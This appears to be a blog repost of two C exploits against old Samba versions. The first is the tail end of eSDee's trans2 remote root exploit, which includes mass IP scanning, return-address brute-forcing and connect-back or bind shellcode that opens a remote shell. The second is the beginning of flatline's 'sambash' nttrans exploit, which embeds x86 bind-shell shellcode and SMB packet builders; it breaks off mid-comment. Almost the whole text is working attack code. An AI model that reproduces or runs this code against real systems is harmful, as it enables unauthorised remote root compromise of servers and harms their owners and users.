                "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"

                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

                "\x00\x00\x00\x90";


        int i = 0;

        unsigned long dummy = ret - 0x30;

        NETBIOS_HEADER  *netbiosheader;

        SMB_HEADER      *smbheader;


        memset(buffer, 0x00, sizeof(buffer));


        netbiosheader   = (NETBIOS_HEADER *)buffer;

        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));


        netbiosheader->type             = 0x00;         /* session message */

        netbiosheader->flags            = 0x04;

        netbiosheader->length           = htons(2096);


        smbheader->protocol[0]          = 0xFF;

        smbheader->protocol[1]          = 'S';

        smbheader->protocol[2]          = 'M';

        smbheader->protocol[3]          = 'B';

        smbheader->command              = 0x32;         /* SMBtrans2 */

        smbheader->tid                  = 0x01;

        smbheader->uid                  = 100;


        memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);


for (i = 0; i < 4 * 24; i += 4)

memcpy(buffer + 1131 + i, &dummy, 4);

        memcpy(buffer + 1127, &ret,      4);


        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),

                        exploit_data, sizeof(exploit_data) - 1);


        memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));


        if(write_timer(sock, 3) == 1) {

                if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;

                return 0;

        }


        return -1;

}



int

main (int argc,char *argv[])

{

char *shellcode = NULL;

char scan_ip[256];


int brute = -1;

int connectback = 0;

int force = 0;

int i = 0;

int ip1 = 0;

int ip2 = 0;

int ip3 = 0;

int ip4 = 0;

int opt = 0;

int port = 139;

int random = 0;

int scan = 0;

int sock = 0;

int sock2 = 0;

int status = 0;

int type = 0;

int verbose = 0;


unsigned long BRUTE_DELAY = 100000;

unsigned long ret = 0x0;

unsigned long MAX_CHILDS = 40;

unsigned long STEPS = 300;


        struct hostent *he;


fprintf(stdout, "samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)\n"

"--------------------------------------------------------------\n");

        

        while((opt = getopt(argc,argv,"b:B:c:C:d:fp:r:sS:t:v")) !=EOF) {

                switch(opt) 

{

case 'b':

brute = atoi(optarg);

if ((brute < 0) || (brute > 3)) {

fprintf(stderr, "Invalid platform.\n\n");

return -1;

}

break;

case 'B':

STEPS = atoi(optarg);

if (STEPS == 0) STEPS++;

break;

case 'c':

sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);

connectback = 1;


if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 0) {

fprintf(stderr, "Invalid IP address.\n\n");

return -1;

}


linux_connect_back[33] = ip1; bsd_connect_back[24] = ip1;

linux_connect_back[34] = ip2; bsd_connect_back[25] = ip2;

linux_connect_back[35] = ip3; bsd_connect_back[26] = ip3;

linux_connect_back[36] = ip4; bsd_connect_back[27] = ip4;

break;

case 'C':

MAX_CHILDS = atoi(optarg);

if (MAX_CHILDS == 0) {

fprintf(stderr, "Invalid number of childs.\n");

return -1;

}


if (MAX_CHILDS > 99) {

fprintf(stderr, "Too many childs, using 99. \n");

MAX_CHILDS = 99;

}


break;

case 'd':

BRUTE_DELAY = atoi(optarg);

break;

case 'f':

force = 1;

break;

                        case 'p':

                                port = atoi(optarg);

                                if ((port <= 0) || (port > 65535)) {

                                        fprintf(stderr, "Invalid port.\n\n");

                                        return -1;

                                }

                                break;

case 'r':

ret = strtoul(optarg, &optarg, 16);

break;

case 's':

random = 1;

scan = 1;

break;

case 'S':

random = 0;

scan = 1;

sscanf(optarg, "%d.%d.%d", &ip1, &ip2, &ip3);

ip3--;

break;

                        case 't':

                                type = atoi(optarg);

                                if (type == 0 || type > sizeof(targets) / 16) {

                                        for(i = 0; i < sizeof(targets) / 16; i++)

                                                fprintf(stdout, "%02d. %s           [0x%08x]\n", i + 1,


                                                                targets[i].type, (unsigned int) targets[i].ret);

                                        fprintf(stderr, "\n");

                                        return -1;

                                }

                                break;

case 'v':

verbose = 1;

break;

                        default:

                                usage(argv[0] == NULL ? "sambal" : argv[0]);

                                break;

                }


        }

if ((argv[optind] == NULL && scan == 0) || (type == 0 && brute == -1 && scan == 0)) 

usage(argv[0] == NULL ? "sambal" : argv[0]);


if (scan == 1) 

fprintf(stdout, "+ Scan mode.\n");

if (verbose == 1)

fprintf(stdout, "+ Verbose mode.\n");


if (scan == 1) {


srand(getpid());


while (1) {


if (random == 1) {

ip1 = rand() % 255;

ip2 = rand() % 255;

ip3 = rand() % 255; } 

else {

ip3++;

if (ip3 > 254) { ip3 = 1; ip2++; }

if (ip2 > 254) { ip2 = 1; ip1++; }

if (ip1 > 254) exit(0);

}


for (ip4 = 0; ip4 < 255; ip4++) {

i++;

snprintf(scan_ip, sizeof(scan_ip) - 1, "%u.%u.%u.%u", ip1, ip2, ip3, ip4);

usleep(BRUTE_DELAY);


switch (fork()) {

case 0:

switch(is_samba(scan_ip, 2)) {

case 0:

fprintf(stdout, "+ [%s] Samba\n", scan_ip);

break;

case 1:

fprintf(stdout, "+ [%s] Windows\n", scan_ip);

break;

default:

break;

}


exit(0);

break;

case -1:

fprintf(stderr, "+ fork() error\n");

exit(-1);

break;

default:

if (i > MAX_CHILDS - 2) { 

wait(&status); 

i--;

}

break;

}

}


}


return 0;

}



he = gethostbyname(argv[optind]);


        if (he == NULL) {

fprintf(stderr, "Unable to resolve %s...\n", argv[optind]);

return -1;

}


if (brute == -1) {


if (ret == 0) ret = targets[type - 1].ret;


shellcode = targets[type - 1].shellcode;

if (connectback == 1) {

fprintf(stdout, "+ connecting back to: [%d.%d.%d.%d:45295]\n", 

ip1, ip2, ip3, ip4);


switch(targets[type - 1].os_type) {

case 0: /* linux */

shellcode = linux_connect_back;

break;

case 1: /* FreeBSD/NetBSD */

shellcode = bsd_connect_back;

break;

case 2: /* OpenBSD */

shellcode = bsd_connect_back;

break;

case 3: /* OpenBSD 3.2 Non-exec stack */

shellcode = bsd_connect_back;

break;

}


}


if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {

fprintf(stderr, "+ socket() error.\n");

return -1;

}


        if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {

               fprintf(stderr, "+ socket() error.\n");

                return -1;

       }


        memcpy(&addr1.sin_addr, he->h_addr, he->h_length);

memcpy(&addr2.sin_addr, he->h_addr, he->h_length);


        addr1.sin_family = AF_INET;

        addr1.sin_port = htons(port);

  addr2.sin_family = AF_INET;

        addr2.sin_port   = htons(45295);


if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -1) { 

fprintf(stderr, "+ connect() error.\n");

return -1;

}

if (verbose == 1) fprintf(stdout, "+ %s\n", targets[type - 1].type);


if (force == 0) {


if (is_samba(argv[optind], 2) != 0) {

fprintf(stderr, "+ Host is not running samba!\n\n");

return -1;

}


fprintf(stderr, "+ Host is running samba.\n");

}


if (verbose == 1) fprintf(stdout, "+ Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr), port);


if (start_session(sock) < 0) fprintf(stderr, "+ Session failed.\n");


if (verbose == 1) fprintf(stdout, "+ Session enstablished\n");

sleep(5);

if (targets[type - 1].os_type != 2) {

if (exploit_normal(sock, ret, shellcode) < 0) {

fprintf(stderr, "+ Failed.\n");

close(sock);

}

} else {

                        if (exploit_openbsd32(sock, ret, shellcode) < 0) {

                                fprintf(stderr, "+ Failed.\n");

                                close(sock);

}

}


sleep(2);


if (connectback == 0) {

        if(connect(sock2, (struct sockaddr *)&addr2, sizeof(addr2)) == -1) {

                fprintf(stderr, "+ Exploit failed, try -b to bruteforce.\n");


                return -1;

        }


fprintf(stdout, "--------------------------------------------------------------\n");

        shell(sock2);

close(sock);

        close(sock2);

} else {

fprintf(stdout, "+ Done...\n");

close(sock2);

close(sock);

}

return 0;

}

signal(SIGPIPE, SIG_IGN);

signal(SIGUSR1, handler);


switch(brute) {

case 0:

if (ret == 0) ret = 0xc0000000;

shellcode = linux_bindcode;

fprintf(stdout, "+ Bruteforce mode. (Linux)\n");

break;

case 1:

if (ret == 0) ret = 0xbfc00000;

shellcode = bsd_bindcode;

                        fprintf(stdout, "+ Bruteforce mode. (FreeBSD / NetBSD)\n");

break;

case 2:

if (ret == 0) ret = 0xdfc00000;

shellcode = bsd_bindcode;

fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.1 and prior)\n");

break;

case 3:

if (ret == 0) ret = 0x00170000;

shellcode = bsd_bindcode;

fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.2 - non-exec stack)\n");

break;

}


        memcpy(&addr1.sin_addr, he->h_addr, he->h_length);

memcpy(&addr2.sin_addr, he->h_addr, he->h_length);


addr1.sin_family = AF_INET;

        addr1.sin_port   = htons(port);

        addr2.sin_family = AF_INET;

        addr2.sin_port   = htons(45295);


for (i = 0; i < 100; i++)

childs[i] = -1;

i = 0;


        if (force == 0) {

                if (is_samba(argv[optind], 2) != 0) {

                        fprintf(stderr, "+ Host is not running samba!\n\n");

                return -1;

                }


        fprintf(stderr, "+ Host is running samba.\n");

        }


while (OWNED == 0) {


if (sock  > 2) close(sock);

if (sock2 > 2) close(sock2);


                if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {

if (verbose == 1) fprintf(stderr, "+ socket() error.\n");

}

else {

ret -= STEPS;

i++;

}


                if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0)

if (verbose == 1) fprintf(stderr, "+ socket() error.\n");



if ((ret & 0xff) == 0x00 && brute != 3) ret++;


if (verbose == 1) fprintf(stdout, "+ Using ret: [0x%08x]\n", (unsigned int)ret);


usleep(BRUTE_DELAY);


switch (childs[i] = fork()) {

                case 0:

if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), port, 2) == -1) {

if (sock  > 2) close(sock);

if (sock2 > 2) close(sock2);

exit(-1);

}


       if(write_timer(sock, 3) == 1) {

if (start_session(sock) < 0) {

if (verbose == 1) fprintf(stderr, "+ Session failed.\n");

if (sock  > 2)close(sock);

if (sock2 > 2) close(sock2);

exit(-1);

}

if (brute == 3) {

                        if (exploit_openbsd32(sock, ret, shellcode) < 0) {

                      if (verbose == 1) fprintf(stderr, "+ Failed.\n");

                                    if (sock  > 2) close(sock);

if (sock2 > 2) close(sock2);

exit(-1);

                                }

else {

    if (exploit_normal(sock, ret, shellcode) < 0) {

                  if (verbose == 1) fprintf(stderr, "+ Failed.\n");

              if (sock  > 2) close(sock);

if (sock2 > 2) close(sock2);

exit(-1);

          }


if (sock > 2) close(sock);


        if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {

if (sock2 > 2) close(sock2);

exit(-1);

}


                               if(Connect(sock2, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {

                                                if (sock2  > 2) close(sock2);

kill(getppid(), SIGUSR1);

}


exit(1);

}


exit(0);

break;

case -1:

                        fprintf(stderr, "+ fork() error\n");

                              exit(-1);

                          break;

                        default:

                        if (i > MAX_CHILDS - 2) {

                                wait(&status);

                                i--;

                                }

                                break;

}


}


}

return 0;

}


/* EOF */


Posted by k1rha
2012. 5. 11. 09:52

/**

 **   sambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl

 **

 **   since we fully control a memcpy(), our options are endless here. i've chosen to go the stack route tho,

 **   because any heap method would've required too much brute forcing or would've required the ugly use of targets.

 **

 **   the stack method still requires little brute forcing and obviously will not survive PaX, but it's efficient.

 **   i'm using executable rets as a 'jmp sled' which jmp to the shellcode to help improve our brute forcing chances a bit.

 **

 **   shouts to (#)0dd, #!l33tsecurity and #!xpc.

 **

 **   many thanks to tcpdump which had to suffer the torture i put it through and often didn't survive (more to come?).

 **

 **   public/private, i don't give a shit.

 **

 **/


#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <errno.h>

#include <string.h>

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <ctype.h>

#include <signal.h>


typedef unsigned char uint8;

typedef unsigned short uint16;

typedef unsigned long uint32;


/* http://ubiqx.org/cifs/SMB.html, CIFS-TR-1p00_FINAL.pdf, smb_cifs_protocol.pdf, 

http://www.ubiqx.org/cifs/rfc-draft/rfc1001.html#s14, http://www.ubiqx.org/cifs/rfc-draft/rfc1002.html#s4.3.2 */


// XXX: lelijkheid: vermijd word padding door hier byte arrays van te maken.

struct variable_data_header

{ uint8 wordcount, bytecount[2];

};


struct nbt_session_header

{ uint8 type, flags, len[2];

};


struct smb_base_header

{ uint8 protocol[4], command, errorclass, reserved, errorcode[2];

  uint8 flags;

  uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];

};


struct negprot_reply_header

{ uint8 wordcount;

  uint8 dialectindex[2];

  uint8 securitymode;

  uint16 maxmpxcount, maxvccount;

  uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh;

  uint16 timezone;

  uint8 keylen;

  uint16 bytecount;

};


// omdat we ipasswdlen en passwdlen meegeven is wordcount altijd 13 voor deze header.

struct sesssetupx_request_header

{ uint8 wordcount, command, reserved;

  uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];

  uint8 sessionid[4];

  uint8 ipasswdlen[2], passwdlen[2];

  uint8 reserved2[4], capabilities[4];

};


struct sesssetupx_reply_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2];

  // wat volgt: char nativeos[], nativelanman[], primarydomain[];

};


struct tconx_request_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];

  // uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];

};


struct tconx_reply_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2];

  // wat volgt: char service[], char nativefilesystem[];

};


// verschilt van trans en trans2 door de 32 bits wijde header fields.

struct nttrans_primary_request_header

{ uint8 wordcount, maxsetupcount, flags[2], totalparamcount[4], totaldatacount[4], maxparamcount[4], maxdatacount[4];

  uint8 paramcount[4], paramoffset[4], datacount[4], dataoffset[4], setupcount, function[2], bytecount[2];

};


struct nttrans_secondary_request_header

{ uint8 pad[4], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],

    datacount[4], dataoffset[4], datadisplace[4];

};


/* struct trans2_request_header

{ uint8 wordcount;

  int totalparamcount, totaldatacount, maxparamcount, maxdatacount;

  uint8 maxsetupcount[2], flags[2];

  uint8 timeout[4];

  int reserved2, paramcount, paramoffset, datacount, dataoffset, fid;

  uint8 setupcount[2], bytecount[2];

}; */


struct trans2_reply_header

{ uint8 wordcount;

  uint16 totalparamcount, totaldatacount, reserved, paramcount, paramoffset, 

    paramdisplacement, datacount, dataoffset, datadisplacement;

  uint8 setupcount, reserved2;

  uint16 bytecount;

};


#define SMBD_PORT 139

#define SHELLCODE_PORT 5074


#define SMB_NEGPROT 0x72

#define SMB_SESSSETUPX 0x73

#define SMB_TCONX 0x75

#define SMB_TRANS2 0x32

#define SMB_NTTRANS1 0xA0

#define SMB_NTTRANS2 0xA1

#define SMB_NTTRANSCREATE 0x01

#define SMB_TRANS2OPEN 0x00

#define SMB_SESSIONREQ 0x81

#define SMB_SESSION 0x00


#define STACKBOTTOM 0xbfffffff

#define STACKBASE 0xbfffd000

#define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE))

#define BRUTESTEP 5120


extern char *optarg;

extern int optind, errno, h_errno;


uint16 tid, pid, uid;

uint32 sessionid, PARAMBASE = 0x81c0000;

char *tconx_servername;

int userbreak = 0;


char shellcode[] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52" \

  "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd" \

  "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43" \

  "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52" \

  "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"

  "\xcd\x80";


// ach, 't kan ermee door.

char *netbios_encode_name(char *name, int type)

{ char plainname[16], c, *encoded, *ptr;

  int i, len = strlen(name);

  if ((encoded = malloc(34)) == NULL)

  { fprintf(stderr, "malloc() failed\n");

    exit(-1);

  }

  ptr = encoded;

  strncpy(plainname, name, 15);

  *ptr++ = 0x20;

  for (i = 0; i < 16; i++)

  { if (i == 15) c = type;

    else 

    { if (i < len) c = toupper(plainname[i]);

      else c = 0x20;

    }

    *ptr++ = (((c >> 4) & 0xf) + 0x41);

    *ptr++ = ((c & 0xf) + 0x41);

  }

  *ptr = '\0';

  return encoded;

}


void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len)

{ struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;

  uint16 nlen;


// geen idee of dit de juiste manier is, maar 't lijkt wel te werken ..

  if (len > 65535) nlen = 65535;

  else nlen = htons(len);


  memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header));

  

  nbt_hdr->type = type;

  nbt_hdr->flags = flags;

  memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));

}


// caller zorgt voor juiste waarde van ptr.

void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid, 

  uint16 uid, uint16 mid)

{ struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;


  memset(base_hdr, '\0', sizeof (struct smb_base_header));


  memcpy(base_hdr->protocol, "\xffSMB", 4);


  base_hdr->command = command;

  base_hdr->flags = flags;


  memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));

  memcpy(&base_hdr->tid, &tid, sizeof (uint16));

  memcpy(&base_hdr->pid, &pid, sizeof (uint16));

  memcpy(&base_hdr->uid, &uid, sizeof (uint16));

  memcpy(base_hdr->mid, &mid, sizeof (uint16));

}


void construct_sesssetupx_header(char *ptr)

{ struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr;

  uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0;

  uint32 capabilities = 0x50;


  memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header));


  sx_hdr->wordcount = 13;

  sx_hdr->command = 0xff;

  memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));

  memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));

  memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));

  memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));

  memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16));

  memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16));

  memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));

}


/*

struct tconx_request_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];

  -- uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];

}; */

void construct_tconx_header(char *ptr)

{ struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr;

  uint16 passwdlen = 1, bytecount;

  char *data;


  memset(tx_hdr, '\0', sizeof (struct tconx_request_header));


  bytecount = strlen(tconx_servername) + 15;  


  if ((data = malloc(bytecount)) == NULL)

  { fprintf(stderr, "malloc() failed, aborting!\n");

    exit(-1);

  }

  memcpy(data, "\x00\x5c\x5c", 3);

  memcpy(data + 3, tconx_servername, strlen(tconx_servername));

  memcpy(data + 3 + strlen(tconx_servername), "\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12);


  tx_hdr->wordcount = 4;

  tx_hdr->xcommand = 0xff;


  memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));

  memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));


// zorg ervoor dat er genoeg ruimte in het packet is om dit erachter te kunnen plakken.

  memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);

}


// session request versturen.

void nbt_session_request(int fd, char *clientname, char *servername)

{ char *cn, *sn;

  char packet[sizeof (struct nbt_session_header) + (34 * 2)];


  construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) - sizeof (struct nbt_session_header));


  tconx_servername = servername;


  sn = netbios_encode_name(servername, 0x20);

  cn = netbios_encode_name(clientname, 0x00);


  memcpy(packet + sizeof (struct nbt_session_header), sn, 34);

  memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);


  if (write(fd, packet, sizeof (packet)) == -1)

  { close(fd);

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }


  free(cn);

  free(sn);

}


// netjes verwerken, zoals het hoort.

void process_nbt_session_reply(int fd)

{ struct nbt_session_header nbt_hdr;

  char *errormsg;

  uint8 errorcode;

  int size, len = 0;


  if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)

  { close(fd);

    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }

  if (size != sizeof (nbt_hdr))

  { close(fd);

    fprintf(stderr, "read() a broken packet, aborting.\n"); 

    exit(-1);

  }

  memcpy(&len, &nbt_hdr.len, sizeof (uint16));


  if (len)

  { read(fd, (void *)&errorcode, 1); 

    close(fd);

    switch (errorcode)

    { case 0x80 : errormsg = "Not listening on called name"; break;

      case 0x81 : errormsg = "Not listening for calling name"; break;

      case 0x82 : errormsg = "Called name not present"; break;

      case 0x83 : errormsg = "Called name present, but insufficient resources"; break;

      case 0x8f : errormsg = "Unspecified error"; break;

      default : errormsg = "Unspecified error (unknown error code received!)"; break;

    }

    fprintf(stderr, "session request denied, reason: '%s' (code %i)\n", errormsg, errorcode);

    exit(-1);

  }

  printf("session request granted\n");

}


void negprot_request(int fd)

{ struct variable_data_header data;

  char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS 1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \

    "\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM 0.12\x0\x2""FLATLINE'S KWAADWAAR";  

  char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)];

  int dlen = htons(sizeof (dialects));


  memset(&data, '\0', sizeof (data));

  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

  pid = getpid();

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1);


  memcpy(&data.bytecount, &dlen, sizeof (uint16));


  memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &data, sizeof (data));

  memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)), 

    dialects, sizeof (dialects));


  if (write(fd, packet, sizeof (packet)) == -1)

  { close(fd);

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }

}


void process_negprot_reply(int fd)

{ struct nbt_session_header *nbt_hdr;

  struct smb_base_header *base_hdr;

  struct negprot_reply_header *np_reply_hdr;

  char packet[1024];

  int size;

  uint16 pid_reply;


  nbt_hdr = (struct nbt_session_header *)packet;

  base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));

  np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) + 

    sizeof (struct smb_base_header)));


  if ((size = read(fd, packet, sizeof (packet))) == -1)

  { close(fd);

    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }


  // bekijk het antwoord even vluchtig.

  memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));

  memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));

  if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 || pid_reply != pid)

  { close(fd);

    fprintf(stderr, "protocol negotiation failed\n");

    exit(-1);

  }


  printf("protocol negotiation complete\n");

}


void sesssetupx_request(int fd)

{ uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61";

  char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 

    sizeof (struct sesssetupx_request_header) + sizeof (data)];

  int size;


  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);

  construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 

    sizeof (struct sesssetupx_request_header), &data, sizeof (data));


  if ((size = write(fd, packet, sizeof (packet))) == -1)

  { close(fd);

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }

  if (size != sizeof (packet))

  { close(fd);

    fprintf(stderr, "couldn't write entire packet, aborting!\n");

    exit(-1);

  }

}


void process_sesssetupx_reply(int fd)

{ struct nbt_session_header *nbt_hdr;

  struct smb_base_header *base_hdr;

  struct sesssetupx_reply_header *sx_hdr;

  char packet[1024];

  int size, len;


// lees het packet

  if ((size = read(fd, packet, sizeof (packet))) == -1)

  { close(fd);

    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }


  nbt_hdr = (struct nbt_session_header *)packet;

  base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));

  sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));


  memcpy(&len, &nbt_hdr->len, sizeof (uint16));

  memcpy(&uid, &base_hdr->uid, sizeof (uint16));


// even een vluchtige check

  if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)

  { close(fd);

    fprintf(stderr, "session setup failed\n");

    exit(-1);

  }


  printf("session setup complete, got assigned uid %i\n", uid);

}


void tconx_request(int fd)

{ // geen fixed size buffer omdat we met dynamische data te maken hebben (variabele servernaam)

  char *packet;

  int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +

    sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;


  if ((packet = malloc(pktsize)) == NULL)

  { close(fd);

    fprintf(stderr, "malloc() failed, aborting!\n");

    exit(-1);

  }


  construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof (struct nbt_session_header));

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1);

  construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));


  if ((size = write(fd, packet, pktsize)) == -1)

  { close(fd);

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }


  free(packet);


  if (size != pktsize)

  { close(fd);

    fprintf(stderr, "couldn't write entire packet, aborting!\n");

    exit(-1);

  }  

}


void process_tconx_reply(int fd)

{ struct nbt_session_header *nbt_hdr;

  struct smb_base_header *base_hdr;

  struct tconx_reply_header *tx_hdr;

  char packet[1024];

  int size, bytecount;

    

// lees het packet

  if ((size = read(fd, packet, sizeof (packet))) == -1)

  { close(fd);

    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);

    exit(-errno);

  }


  nbt_hdr = (struct nbt_session_header *)packet;

  base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));

  tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));


  memcpy(&tid, &base_hdr->tid, sizeof (uint16));

  memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));


  printf("tree connect complete, got assigned tid %i\n", tid);

}


void nttrans_primary_request(int fd)

{ char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 

    sizeof (struct nttrans_primary_request_header)];

  struct nttrans_primary_request_header nt_hdr;


  int size, function = SMB_NTTRANSCREATE, totalparamcount = TOTALCOUNT, totaldatacount = 0;

  uint8 setupcount = 0;


  memset(&nt_hdr, '\0', sizeof (nt_hdr));


  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS1, 8, 1, tid, pid, uid, 1);


  nt_hdr.wordcount = 19 + setupcount;

  memcpy(&nt_hdr.function, &function, sizeof (uint16));


  memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));

  memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));


  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nt_hdr, sizeof (nt_hdr));


  if ((size = write(fd, packet, sizeof (packet))) == -1)

  { close(fd);

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }

  if (size != sizeof (packet))

  { close(fd);

    fprintf(stderr, "couldn't write entire packet, aborting!\n");

    exit(-1);

  }  

}


// hier gaat het gebeuren.

/* 

struct nttrans_secondary_request_header

